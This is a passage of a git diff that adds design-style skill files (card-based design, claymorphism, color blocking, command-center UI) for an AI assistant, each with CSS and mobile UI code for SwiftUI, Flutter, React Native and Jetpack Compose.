height: 0.8, // Negative line-spacing + color: Colors.black, + ), + ), + ), + Positioned( + top: 100, + left: 40, + child: Text( + 'THE', + style: TextStyle( + fontFamily: 'Arial', + fontSize: 140, + fontWeight: FontWeight.w900, + foreground: Paint() + ..style = PaintingStyle.stroke + ..strokeWidth = 3 + ..color = Colors.red, + ), + ), + ), + Positioned( + top: 220, + left: 10, + child: Transform.rotate( + angle: -0.1, + child: Container( + color: Colors.blue, + child: const Text( + 'GRID.', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 120, + color: Colors.white, + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- Do not use `SafeArea`. +- Absolute positioning via `Stack` and `Positioned` is the easiest way to break the grid and force overlaps. +- Use `height: 0.8` (or less than 1.0) in `TextStyle` to smash lines of text together. + +### React Native +```jsx +const BrutalistTypeScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFF' }}> + {/* + Note: React Native text clipping can be tricky on Android. + Ensure parent views don't have overflow: 'hidden'. + */} + <Text style={{ + fontFamily: 'Times New Roman', + fontSize: 130, + lineHeight: 110, + color: '#000', + marginLeft: -15, // Bleed off edge + marginTop: 40 + }}> + BREAK + </Text> + + <Text style={{ + fontFamily: 'Arial', + fontSize: 140, + fontWeight: '900', + color: 'transparent', + textShadowColor: '#FF0000', + textShadowRadius: 1, // Fake stroke effect + marginLeft: 40, + marginTop: -30 // Overlap previous text + }}> + THE + </Text> + + <Text style={{ + fontFamily: 'monospace', + fontSize: 100, + backgroundColor: '#0000FF', + color: '#FFF', + transform: [{ rotate: '-5deg' }], + marginTop: -20, + alignSelf: 'flex-start' + }}> + GRID. + </Text> + </View> + ); +}; +``` +- React Native doesn't have a native text-stroke property, so you either simulate it with text shadows or use `@shopify/react-native-skia` for true stroked text. +- Use negative `marginTop` and `marginLeft` to force the layout chaos. + +### Jetpack Compose +```kotlin +@Composable +fun BrutalistTypeScreen() { + // Use Box for absolute overlapping layouts + Box( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + ) { + Text( + text = "BREAK", + fontFamily = FontFamily.Serif, // Times New Roman equivalent + fontSize = 130.sp, + color = Color.Black, + lineHeight = 100.sp, + modifier = Modifier.offset(x = (-15).dp, y = (-20).dp) + ) + + Text( + text = "THE", + fontFamily = FontFamily.SansSerif, + fontSize = 140.sp, + fontWeight = FontWeight.Black, + style = TextStyle( + drawStyle = Stroke(width = 5f) + ), + color = Color.Red, + modifier = Modifier.offset(x = 40.dp, y = 100.dp) + ) + + Text( + text = "GRID.", + fontFamily = FontFamily.Monospace, + fontSize = 100.sp, + color = Color.White, + modifier = Modifier + .offset(x = 10.dp, y = 220.dp) + .rotate(-5f) + .background(Color.Blue) + ) + } +} +``` +- A `Box` with explicit `Modifier.offset(x, y)` allows freeform overlapping placement, breaking away from standard `Column`/`Row` grids. +- Compose `TextStyle` supports `drawStyle = Stroke(width = 5f)`, making outline typography incredibly simple. + +## Do's and Don'ts +- **DO**: Mix serif and monospace fonts aggressively. +- **DON'T**: Add drop shadows, gradients, or rounded corners. The design must look raw and unstyled. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/card-based-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/card-based-design/SKILL.md new file mode 100644 index 00000000..79990225 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/card-based-design/SKILL.md @@ -0,0 +1,262 @@ +--- +name: card-based-design +description: Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Card-Based Design + +> "Bite-sized consumption. Encapsulating discrete pieces of information into distinct visual containers." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Encapsulation**: Every card is self-contained. It has an image, a title, a short description, and usually an action (like a button or a 'like' icon). +2. **Responsive Flow**: Cards easily reflow on different screen sizes (from a 4-column grid on desktop to a single column on mobile). +3. **Clear Boundaries**: Cards must visually pop off the background. + +## Visual DNA +- **Colors**: Very flexible. The background should be slightly darker or distinct from the card color. **Sophisticated Neutral** works well for a premium feel. +- **Typography**: Clear hierarchy within the card (Header, Subheader, Body). +- **Styling**: Standard `border-radius: 8px` and a medium drop shadow. + +## Web Implementation +- CSS Grid with `auto-fit` or a Masonry layout. +- **CSS Example**: +```css +body { + background-color: #f0f2f5; /* Standard app background */ + padding: 40px; +} + +.card-grid { + display: grid; + /* Auto-responsive magic */ + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 24px; +} + +.card { + background: #ffffff; + border-radius: 12px; + overflow: hidden; /* Keep images inside the rounded corners */ + box-shadow: 0 4px 12px rgba(0,0,0,0.08); + transition: transform 0.2s, box-shadow 0.2s; + display: flex; + flex-direction: column; +} + +.card:hover { + transform: translateY(-4px); + box-shadow: 0 8px 24px rgba(0,0,0,0.12); +} + +.card-image { + width: 100%; + height: 200px; + object-fit: cover; + border-bottom: 1px solid #eee; +} + +.card-content { + padding: 20px; + flex-grow: 1; /* Pushes footer to the bottom */ +} + +.card-footer { + padding: 16px 20px; + border-top: 1px solid #eee; + display: flex; + justify-content: space-between; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ContentCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 0) { + // Image Area + Rectangle() + .fill(Color.gray.opacity(0.2)) + .frame(height: 160) + + // Content Area + VStack(alignment: .leading, spacing: 8) { + Text("Card Title") + .font(.headline) + Text("A brief description of the content inside this discrete card container.") + .font(.subheadline) + .foregroundColor(.secondary) + .lineLimit(2) + } + .padding(16) + } + .background(Color.white) + .cornerRadius(12) + // Clean, subtle drop shadow + .shadow(color: Color.black.opacity(0.08), radius: 12, x: 0, y: 4) + } +} + +// In your view: +// LazyVGrid(columns: [GridItem(.adaptive(minimum: 160), spacing: 16)]) { ... } +``` +- `VStack` inside a background with `.cornerRadius` and `.shadow` is the standard. +- Use `LazyVGrid` with `.adaptive(minimum: 160)` to automatically create a multi-column card grid that flows perfectly on iPad or iPhone. + +### Flutter +```dart +class ContentCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Card( + elevation: 4, // Handles shadow natively + shadowColor: Colors.black.withOpacity(0.4), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)), + clipBehavior: Clip.antiAlias, // Critical: stops images from bleeding over corners + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: [ + // Image Area + Container( + height: 160, + color: Colors.grey[300], + width: double.infinity, + ), + // Content Area + Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Card Title', style: TextStyle(fontWeight: FontWeight.bold, fontSize: 18)), + SizedBox(height: 8), + Text( + 'A brief description of the content inside this discrete card container.', + style: TextStyle(color: Colors.black54), + maxLines: 2, + overflow: TextOverflow.ellipsis, + ), + ], + ), + ), + ], + ), + ); + } +} +// In your view: Use GridView.builder for the layout +``` +- The native `Card` widget does almost all the heavy lifting. +- **Critical fix**: You must set `clipBehavior: Clip.antiAlias` on the `Card`, otherwise the top corners of your images will peek outside the border radius. + +### React Native +```jsx +const ContentCard = () => { + return ( + <View style={styles.card}> + <View style={styles.imageArea} /> + <View style={styles.contentArea}> + <Text style={styles.title}>Card Title</Text> + <Text style={styles.description} numberOfLines={2}> + A brief description of the content inside this discrete card container. + </Text> + </View> + </View> + ); +}; + +const styles = StyleSheet.create({ + card: { + backgroundColor: '#FFF', + borderRadius: 12, + shadowColor: '#000', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.08, + shadowRadius: 12, + elevation: 4, + margin: 8, + overflow: 'hidden', // Keeps image inside borders + }, + imageArea: { + height: 160, + backgroundColor: '#E0E0E0', + }, + contentArea: { + padding: 16, + }, + title: { + fontSize: 18, + fontWeight: '600', + marginBottom: 8, + }, + description: { + color: '#666', + } +}); +// In your view: <FlatList numColumns={2} data={data} renderItem={...} /> +``` +- Wrap everything in a View with `borderRadius` and `overflow: 'hidden'`. +- `elevation: 4` provides the drop shadow on Android, while the `shadow*` props handle iOS. +- For a Pinterest/Masonry style (columns of different heights), you must use a third-party library like `react-native-masonry-list`, as `FlatList` cannot do varying row heights in columns. + +### Jetpack Compose +```kotlin +@Composable +fun ContentCard() { + // ElevatedCard provides the shadow and shape natively + ElevatedCard( + elevation = CardDefaults.elevatedCardElevation(defaultElevation = 4.dp), + shape = RoundedCornerShape(12.dp), + colors = CardDefaults.elevatedCardColors(containerColor = Color.White), + modifier = Modifier.fillMaxWidth().padding(8.dp) + ) { + Column { + // Image Area + Box( + modifier = Modifier + .fillMaxWidth() + .height(160.dp) + .background(Color.LightGray) + ) + + // Content Area + Column(modifier = Modifier.padding(16.dp)) { + Text( + text = "Card Title", + style = MaterialTheme.typography.titleMedium, + fontWeight = FontWeight.Bold + ) + Spacer(Modifier.height(8.dp)) + Text( + text = "A brief description of the content inside this discrete card container.", + style = MaterialTheme.typography.bodyMedium, + color = Color.Gray, + maxLines = 2, + overflow = TextOverflow.Ellipsis + ) + } + } + } +} +// In your view: LazyVerticalGrid(columns = GridCells.Adaptive(minSize = 160.dp)) { ... } +``` +- `ElevatedCard` is the perfect Material 3 component for this. It handles clipping and shadows automatically. +- Use `GridCells.Adaptive(minSize = 160.dp)` in a `LazyVerticalGrid` to achieve an auto-flowing grid identical to CSS Grid `auto-fit`. + +## Do's and Don'ts +- **DO**: Make the entire card clickable, not just the title or image. +- **DON'T**: Put too much text in a card. If the user has to scroll *within* a card, the card is too big. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/claymorphism/SKILL.md b/antigravity-awesome-skills/skills/design-it/claymorphism/SKILL.md new file mode 100644 index 00000000..baf4a9cc --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/claymorphism/SKILL.md @@ -0,0 +1,287 @@ +--- +name: claymorphism +description: Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Claymorphism + +> "Like interacting with a pristine, digital claymation set. Soft, bubbly, and incredibly approachable." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Fluffy 3D Volume**: Elements look like inflated balloons or soft clay blocks. +2. **Double Inner Shadows**: The signature of claymorphism is an inset light shadow on the top-left and an inset dark shadow on the bottom-right, giving 3D volume to a solid shape. +3. **Continuous Curves**: Maximum border-radius. No sharp edges exist in this universe. + +## Visual DNA +- **Colors**: Thrives on pastels and bright, friendly hues. **Desert Mirage**, **Earth-Grounded Elegance**, or custom pastel palettes work best. +- **Typography**: Playful, thick, rounded fonts (e.g., `Sniglet`, `Fredoka One`, `Nunito`). +- **Shapes**: 'Squicles' (squares with heavily rounded, continuous corners) and perfect circles. + +## Web Implementation +- Distinct from Neumorphism: Claymorphism elements detach from the background (they have drop shadows) and use inner shadows to create volume, often using colors that contrast with the background. +- **CSS Example**: +```css +.clay-card { + background-color: #F8B4A6; /* Soft coral */ + border-radius: 32px; + padding: 40px; + + /* + 1. Outer drop shadow (detaches from background) + 2. Inner top-left highlight (volume) + 3. Inner bottom-right shadow (volume) + */ + box-shadow: + 8px 8px 24px rgba(0, 0, 0, 0.15), /* Outer */ + inset -8px -8px 16px rgba(0, 0, 0, 0.1), /* Inner dark */ + inset 8px 8px 16px rgba(255, 255, 255, 0.4); /* Inner light */ + + transition: transform 0.2s cubic-bezier(0.34, 1.56, 0.64, 1); /* Bouncy */ +} + +.clay-card:hover { + transform: translateY(-5px) scale(1.02); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ClayCard: View { + @State private var isPressed = false + + var body: some View { + VStack(spacing: 16) { + Image(systemName: "cloud.sun.fill") + .font(.system(size: 48)) + .foregroundColor(.white) + Text("Claymorphic Card") + .font(.system(size: 20, weight: .bold, design: .rounded)) + .foregroundColor(.white) + } + .padding(40) + .background(Color(red: 0.97, green: 0.71, blue: 0.65)) // Soft coral + .cornerRadius(32) + // Outer shadow — detaches from background + .shadow(color: .black.opacity(0.15), radius: 12, x: 8, y: 8) + // Inner highlight (top-left) — faked with overlay + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke( + LinearGradient( + colors: [.white.opacity(0.5), .clear, .black.opacity(0.1)], + startPoint: .topLeading, + endPoint: .bottomTrailing + ), + lineWidth: 3 + ) + ) + // Bouncy spring animation on tap + .scaleEffect(isPressed ? 0.95 : 1.0) + .animation(.interpolatingSpring(stiffness: 300, damping: 10), value: isPressed) + .onTapGesture { } + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- The "clay" volume comes from a gradient stroke overlay: white on top-left, dark on bottom-right. +- Use `.interpolatingSpring(stiffness: 300, damping: 10)` for the bouncy feel — critical for clay aesthetics. +- Background color should be pastel/bright but NOT the same as the parent (unlike neumorphism). + +### Flutter +```dart +class ClayCard extends StatefulWidget { + @override + State<ClayCard> createState() => _ClayCardState(); +} + +class _ClayCardState extends State<ClayCard> with SingleTickerProviderStateMixin { + double _scale = 1.0; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _scale = 0.95), + onTapUp: (_) => setState(() => _scale = 1.0), + onTapCancel: () => setState(() => _scale = 1.0), + child: AnimatedScale( + scale: _scale, + duration: const Duration(milliseconds: 200), + curve: Curves.elasticOut, // Bouncy clay feel + child: Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: const Color(0xFFF8B4A6), // Soft coral + borderRadius: BorderRadius.circular(32), + boxShadow: [ + // Outer shadow + BoxShadow( + color: Colors.black.withOpacity(0.15), + offset: const Offset(8, 8), + blurRadius: 24, + ), + ], + // Gradient border for the clay volume effect + border: GradientBorder( + gradient: LinearGradient( + colors: [ + Colors.white.withOpacity(0.5), + Colors.transparent, + Colors.black.withOpacity(0.1), + ], + begin: Alignment.topLeft, + end: Alignment.bottomRight, + ), + width: 3, + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Icon(Icons.wb_sunny, size: 48, color: Colors.white), + const SizedBox(height: 16), + const Text('Claymorphic Card', + style: TextStyle(fontSize: 20, fontWeight: FontWeight.bold, + color: Colors.white)), + ], + ), + ), + ), + ); + } +} +``` +- Use `Curves.elasticOut` or `Curves.bounceOut` for the spring animation — essential for the clay feeling. +- Gradient borders require a custom `ShapeDecoration` or a `Stack` with a gradient container behind the main container. +- Alternative for inner shadow: use `flutter_inset_box_shadow` package with light top-left and dark bottom-right insets. + +### React Native +```jsx +const ClayCard = () => { + const scale = useRef(new Animated.Value(1)).current; + + const pressIn = () => { + Animated.spring(scale, { + toValue: 0.95, + friction: 3, // Low friction = bouncy + tension: 100, + useNativeDriver: true, + }).start(); + }; + + const pressOut = () => { + Animated.spring(scale, { + toValue: 1, + friction: 3, + tension: 100, + useNativeDriver: true, + }).start(); + }; + + return ( + <Pressable onPressIn={pressIn} onPressOut={pressOut}> + <Animated.View style={{ + transform: [{ scale }], + padding: 40, + backgroundColor: '#F8B4A6', + borderRadius: 32, + alignItems: 'center', + // Outer shadow + shadowColor: '#000', + shadowOffset: { width: 8, height: 8 }, + shadowOpacity: 0.15, + shadowRadius: 12, + elevation: 8, + // Gradient border must be faked with a wrapper or SVG + borderWidth: 3, + borderColor: 'rgba(255,255,255,0.3)', // Simplified — top highlight + }}> + <Text style={{ fontSize: 48 }}>☀️</Text> + <Text style={{ + fontSize: 20, fontWeight: '700', color: '#FFF', marginTop: 16, + }}> + Claymorphic Card + </Text> + </Animated.View> + </Pressable> + ); +}; +``` +- Use `Animated.spring` with low `friction` (3-5) for the signature bouncy clay behavior. +- Gradient borders aren't possible natively — use a solid white-tinted border as a simplified approximation, or wrap in an `expo-linear-gradient` View. + +### Jetpack Compose +```kotlin +@Composable +fun ClayCard() { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState( + targetValue = if (isPressed) 0.95f else 1f, + animationSpec = spring(dampingRatio = 0.3f, stiffness = 300f), + ) + + Box( + modifier = Modifier + .graphicsLayer { scaleX = scale; scaleY = scale } + .shadow(8.dp, RoundedCornerShape(32.dp)) + .clip(RoundedCornerShape(32.dp)) + .background(Color(0xFFF8B4A6)) + .border( + 3.dp, + Brush.linearGradient( + colors = listOf( + Color.White.copy(alpha = 0.5f), + Color.Transparent, + Color.Black.copy(alpha = 0.1f), + ), + start = Offset.Zero, + end = Offset.Infinite, + ), + RoundedCornerShape(32.dp), + ) + .padding(40.dp) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + }, + ) + }, + contentAlignment = Alignment.Center, + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Icon(Icons.Default.WbSunny, tint = Color.White, + modifier = Modifier.size(48.dp)) + Spacer(Modifier.height(16.dp)) + Text("Claymorphic Card", + fontSize = 20.sp, fontWeight = FontWeight.Bold, color = Color.White) + } + } +} +``` +- Use `spring(dampingRatio = 0.3f)` — low damping = bouncy. This is the core of the clay feeling. +- Gradient borders work natively in Compose via `Modifier.border(width, Brush.linearGradient(...), shape)`. +- Use `Modifier.clip()` before `.background()` to ensure the rounded corners clip content properly. + +## Do's and Don'ts +- **DO**: Use highly bouncy, spring-based animations to reinforce the soft, physical nature of the "clay." +- **DON'T**: Use thin, delicate fonts. They will get lost against the heavy, voluminous UI elements. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/color-blocking/SKILL.md b/antigravity-awesome-skills/skills/design-it/color-blocking/SKILL.md new file mode 100644 index 00000000..98971b5a --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/color-blocking/SKILL.md @@ -0,0 +1,278 @@ +--- +name: color-blocking +description: Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Color Blocking + +> "The grid made visible. Large, solid swaths of contrasting color defining the layout." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Geometric Division**: The viewport is divided into large rectangles or squares, each filled with a solid, distinct color. +2. **No Margins Between Blocks**: Blocks touch each other directly, often separated only by a stark, 1px or 2px black line (or no line at all, letting the colors clash). +3. **Typography as Texture**: Text is placed precisely within these blocks to balance the visual weight of the colors. + +## Visual DNA +- **Colors**: Highly contrasting, bold pairings. Use 3 to 4 strong colors from palettes like **Industrial Chic** (Red, Black, Grey, White) or custom bold pairings (Yellow, Navy, Pink). +- **Typography**: Very clean, bold sans-serifs that can hold their own against massive blocks of color. +- **Borders**: Often uses thick black borders (`2px solid #000`) between blocks to emphasize the grid, reminiscent of Mondrian paintings. + +## Web Implementation +- CSS Grid is the only way to effectively build this. +- **CSS Example**: +```css +body { + margin: 0; + font-family: 'Space Grotesk', sans-serif; + color: #000; +} + +.color-block-grid { + display: grid; + grid-template-columns: 1fr 2fr 1fr; + grid-template-rows: 60vh 40vh; + /* Thick black lines between blocks */ + gap: 4px; + background-color: #000; + border: 4px solid #000; + min-height: 100vh; +} + +.block { + padding: 40px; + display: flex; + flex-direction: column; + justify-content: space-between; +} + +.block-yellow { background-color: #FACC15; } +.block-white { background-color: #FFFFFF; } +.block-blue { background-color: #2563EB; color: #FFF; } +.block-red { background-color: #EF4444; } + +.block-title { + font-size: 3rem; + font-weight: 900; + text-transform: uppercase; + margin: 0; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct ColorBlockingView: View { + let gridSpacing: CGFloat = 4 // Thickness of the black lines + + var body: some View { + // Black background acts as the grid lines between blocks + VStack(spacing: gridSpacing) { + // Top Row + HStack(spacing: gridSpacing) { + ColorBlock(color: .yellow, text: "CREATE", textColor: .black) + ColorBlock(color: .blue, text: "VISION", textColor: .white) + } + .frame(height: 300) + + // Bottom Row + HStack(spacing: gridSpacing) { + ColorBlock(color: .red, text: "BOLD", textColor: .white) + .frame(width: 120) // Fixed narrow block + ColorBlock(color: .white, text: "MINIMAL", textColor: .black) + } + } + .background(Color.black) // The grid lines + .border(Color.black, width: gridSpacing) // Outer border + .ignoresSafeArea() + } +} + +struct ColorBlock: View { + let color: Color + let text: String + let textColor: Color + var body: some View { + color + .overlay( + Text(text) + .font(.system(size: 32, weight: .black)) + .foregroundColor(textColor) + .padding(), + alignment: .bottomLeading + ) + } +} +``` +- In SwiftUI, the easiest way to create Mondrian-style thick black grid lines is to set `.background(Color.black)` on the parent stack and use `spacing: 4`. The background peeks through the gaps. +- `.ignoresSafeArea()` allows the blocks to bleed to the edge of the physical device. + +### Flutter +```dart +class ColorBlockingScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + // Black background creates the grid lines + backgroundColor: Colors.black, + body: SafeArea( + bottom: false, + child: Column( + children: [ + // Top Row + Expanded( + flex: 3, // 3/5 of vertical space + child: Row( + children: [ + Expanded(flex: 1, child: ColorBlock(color: const Color(0xFFFACC15), text: 'CREATE', textColor: Colors.black)), + const SizedBox(width: 4), // Grid line + Expanded(flex: 2, child: ColorBlock(color: const Color(0xFF2563EB), text: 'VISION', textColor: Colors.white)), + ], + ), + ), + const SizedBox(height: 4), // Horizontal grid line + // Bottom Row + Expanded( + flex: 2, // 2/5 of vertical space + child: Row( + children: [ + Expanded(flex: 1, child: ColorBlock(color: const Color(0xFFEF4444), text: 'BOLD', textColor: Colors.white)), + const SizedBox(width: 4), + Expanded(flex: 2, child: ColorBlock(color: Colors.white, text: 'MINIMAL', textColor: Colors.black)), + ], + ), + ), + ], + ), + ), + ); + } +} + +class ColorBlock extends StatelessWidget { + final Color color; + final String text; + final Color textColor; + const ColorBlock({required this.color, required this.text, required this.textColor}); + + @override + Widget build(BuildContext context) { + return Container( + color: color, + padding: const EdgeInsets.all(24), + alignment: Alignment.bottomLeft, + child: Text(text, style: TextStyle(fontSize: 32, fontWeight: FontWeight.w900, color: textColor)), + ); + } +} +``` +- Use `Expanded` with varying `flex` factors to divide the screen geometrically. +- Insert `SizedBox(width: 4)` or `height: 4` between rows and columns to expose the black `Scaffold` background, creating the grid lines. + +### React Native +```jsx +const ColorBlockingScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#000', gap: 4 }}> + {/* Top Row */} + <View style={{ flex: 3, flexDirection: 'row', gap: 4 }}> + <View style={[styles.block, { flex: 1, backgroundColor: '#FACC15' }]}> + <Text style={[styles.text, { color: '#000' }]}>CREATE</Text> + </View> + <View style={[styles.block, { flex: 2, backgroundColor: '#2563EB' }]}> + <Text style={[styles.text, { color: '#FFF' }]}>VISION</Text> + </View> + </View> + + {/* Bottom Row */} + <View style={{ flex: 2, flexDirection: 'row', gap: 4 }}> + <View style={[styles.block, { flex: 1, backgroundColor: '#EF4444' }]}> + <Text style={[styles.text, { color: '#FFF' }]}>BOLD</Text> + </View> + <View style={[styles.block, { flex: 2, backgroundColor: '#FFF' }]}> + <Text style={[styles.text, { color: '#000' }]}>MINIMAL</Text> + </View> + </View> + </View> + ); +}; + +const styles = StyleSheet.create({ + block: { + justifyContent: 'flex-end', + padding: 24, + }, + text: { + fontSize: 32, + fontWeight: '900', + fontFamily: 'SpaceGrotesk-Bold', + } +}); +``` +- The `gap` property in React Native flexbox makes this trivial. Set a black background on the parent, set `gap: 4`, and the children automatically space out, revealing the thick black lines. +- Use `flex: 1`, `flex: 2` etc. to determine block proportions. + +### Jetpack Compose +```kotlin +@Composable +fun ColorBlockingScreen() { + val gridSpacing = 4.dp + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.Black) // Grid lines + ) { + // Top Row + Row( + modifier = Modifier.weight(3f), + horizontalArrangement = Arrangement.spacedBy(gridSpacing) + ) { + ColorBlock(Color(0xFFFACC15), "CREATE", Color.Black, Modifier.weight(1f)) + ColorBlock(Color(0xFF2563EB), "VISION", Color.White, Modifier.weight(2f)) + } + + Spacer(Modifier.height(gridSpacing)) + + // Bottom Row + Row( + modifier = Modifier.weight(2f), + horizontalArrangement = Arrangement.spacedBy(gridSpacing) + ) { + ColorBlock(Color(0xFFEF4444), "BOLD", Color.White, Modifier.weight(1f)) + ColorBlock(Color.White, "MINIMAL", Color.Black, Modifier.weight(2f)) + } + } +} + +@Composable +fun ColorBlock(color: Color, text: String, textColor: Color, modifier: Modifier = Modifier) { + Box( + modifier = modifier + .fillMaxHeight() + .background(color) + .padding(24.dp), + contentAlignment = Alignment.BottomStart + ) { + Text(text, fontSize = 32.sp, fontWeight = FontWeight.Black, color = textColor) + } +} +``` +- Like other mobile frameworks, `Modifier.background(Color.Black)` combined with `Arrangement.spacedBy(4.dp)` perfectly creates the Mondrian grid. +- Use `Modifier.weight(Xf)` to mathematically divide the screen real estate. + +## Do's and Don'ts +- **DO**: Ensure extreme contrast. Text on a yellow block should be black. Text on a dark blue block should be white. +- **DON'T**: Use drop shadows, rounded corners, or gradients. Keep it completely flat and sharp. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/command-center-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/command-center-ui/SKILL.md new file mode 100644 index 00000000..2a4e07af --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/command-center-ui/SKILL.md @@ -0,0 +1,345 @@ +--- +name: command-center-ui +description: Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Command Center UI + +> "Mission Control. Global monitoring, real-time alerts, and high-stakes data visualization." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Dark/Black Backgrounds**: Essential for a room full of glowing monitors (NOCs). It makes the data pop and reduces glare. +2. **Maps & Topologies**: The center of the UI is almost always a dark-mode geographical map or a node-based network topology. +3. **Alert Hierarchy**: 90% of the screen is calm and blue/grey. When a warning happens, it flashes bright amber or red to immediately draw the eye. + +## Visual DNA +- **Colors**: Pure black (`#000000`) or deep navy (`#0B132B`). Accents are electric cyan (`#00FFFF`), amber (`#FFBF00`), and critical red (`#FF0000`). +- **Typography**: Clean, tech-focused sans-serifs (`Orbitron`, `Roboto`, `Share Tech`). +- **Styling**: Glowing borders, radar sweeps, and stark, data-driven charts. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #030a16; + color: #8ab4f8; + font-family: 'Roboto', sans-serif; + margin: 0; + display: grid; + grid-template-columns: 300px 1fr 300px; + height: 100vh; +} + +.panel { + background-color: rgba(13, 27, 42, 0.8); + border: 1px solid #1c355e; + box-shadow: inset 0 0 20px rgba(0, 255, 255, 0.05); + margin: 10px; + display: flex; + flex-direction: column; +} + +.panel-header { + background: linear-gradient(90deg, #1c355e, transparent); + color: #00ffff; + padding: 8px 16px; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 2px; + border-bottom: 1px solid #00ffff; +} + +/* The Map/Center view */ +.main-view { + /* Placeholder for a massive globe or map */ + background: radial-gradient(circle, #0d1b2a 0%, #030a16 100%); + position: relative; +} + +/* Critical Alert */ +.alert-critical { + background-color: rgba(255, 0, 0, 0.1); + border: 1px solid #ff0000; + color: #ff0000; + box-shadow: 0 0 10px rgba(255, 0, 0, 0.5); + animation: pulse-red 2s infinite; +} + +@keyframes pulse-red { + 0% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.2); } + 50% { box-shadow: 0 0 20px rgba(255, 0, 0, 0.8); } + 100% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.2); } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CommandCenterView: View { + @State private var isAlerting = false + + var body: some View { + VStack(spacing: 16) { + // Header + HStack { + Text("GLOBAL_OPS // ALPHA") + .font(.custom("Orbitron", size: 20)) + .foregroundColor(Color(red: 0.0, green: 1.0, blue: 1.0)) // Cyan + Spacer() + Text(Date(), style: .time).foregroundColor(.gray) + } + .padding() + .border(Color(red: 0.0, green: 1.0, blue: 1.0), width: 1) + + // Map or main visual placeholder + Circle() + .strokeBorder( + LinearGradient(colors: [.cyan, .blue], startPoint: .top, endPoint: .bottom), + lineWidth: 2 + ) + .frame(height: 250) + .overlay(Text("TOPOLOGY SCAN").foregroundColor(.cyan.opacity(0.5))) + + // Critical Alert Panel + VStack(alignment: .leading) { + Text("WARNING: SECTOR 7G") + .font(.headline) + .foregroundColor(.red) + Text("Anomalous activity detected.") + .font(.subheadline) + .foregroundColor(.white) + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.red.opacity(0.1)) + .border(Color.red, width: 2) + .shadow(color: isAlerting ? .red : .clear, radius: 10) + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color(red: 0.01, green: 0.04, blue: 0.09)) // Very dark navy + .onAppear { + withAnimation(.easeInOut(duration: 1.0).repeatForever()) { + isAlerting.toggle() + } + } + } +} +``` +- Rely heavily on `.border()` and `.strokeBorder()` combined with gradients to create technical, glowing wireframes. +- Use `.shadow()` animated continuously for pulse alerts. + +### Flutter 